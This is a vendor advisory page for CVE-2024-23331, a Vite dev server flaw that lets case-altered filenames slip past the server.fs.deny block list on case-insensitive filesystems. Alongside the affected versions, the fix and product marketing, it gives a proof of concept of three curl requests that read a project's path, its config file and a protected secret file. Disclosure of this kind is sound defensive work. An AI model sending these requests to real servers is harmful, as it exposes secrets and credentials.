CVE-2024-23331

CVE-2024-23331 is a high-severity security vulnerability in vite (npm), affecting versions >= 2.7.0, <= 2.9.16. It is fixed in 2.9.17, 3.2.8, 4.5.2, 5.0.12.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Vite dev server option server.fs.deny can be bypassed when hosted on case-insensitive filesystem

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

  1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
  2. Created dummy secret files, e.g. custom.secret and production.pem
  3. Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

  1. curl -s http://20.12.242.81:5173/@fs//
    • Descriptive error page reveals absolute filesystem path to project root
  2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
    • Discoverable configuration file reveals locations of secrets
  3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
    • Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who

  • Users with exposed dev servers on environments with case-insensitive filesystems

What

  • Files protected by server.fs.deny are both discoverable, and accessible

CVE-2024-23331 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.17, 3.2.8, 4.5.2, 5.0.12); upgrading removes the vulnerable code path.

Affected versions

vite (>= 2.7.0, <= 2.9.16) vite (>= 3.0.0, <= 3.2.7) vite (>= 4.0.0, <= 4.5.1) vite (>= 5.0.0, <= 5.0.11)

Security releases

vite → 2.9.17 (npm) vite → 3.2.8 (npm) vite → 4.5.2 (npm) vite → 5.0.12 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Fixed in [email protected], [email protected], [email protected], [email protected]

Frequently Asked Questions

  1. What is CVE-2024-23331? CVE-2024-23331 is a high-severity security vulnerability in vite (npm), affecting versions >= 2.7.0, <= 2.9.16. It is fixed in 2.9.17, 3.2.8, 4.5.2, 5.0.12.
  2. How severe is CVE-2024-23331? CVE-2024-23331 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vite are affected by CVE-2024-23331? vite (npm) versions >= 2.7.0, <= 2.9.16 is affected.
  4. Is there a fix for CVE-2024-23331? Yes. CVE-2024-23331 is fixed in 2.9.17, 3.2.8, 4.5.2, 5.0.12. Upgrade to this version or later.
  5. Is CVE-2024-23331 exploitable, and should I be worried? Whether CVE-2024-23331 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2024-23331 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2024-23331?
    • Upgrade vite to 2.9.17 or later
    • Upgrade vite to 3.2.8 or later
    • Upgrade vite to 4.5.2 or later
    • Upgrade vite to 5.0.12 or later

Other vulnerabilities in vite

Stop the waste.
Protect your environment with Kodem.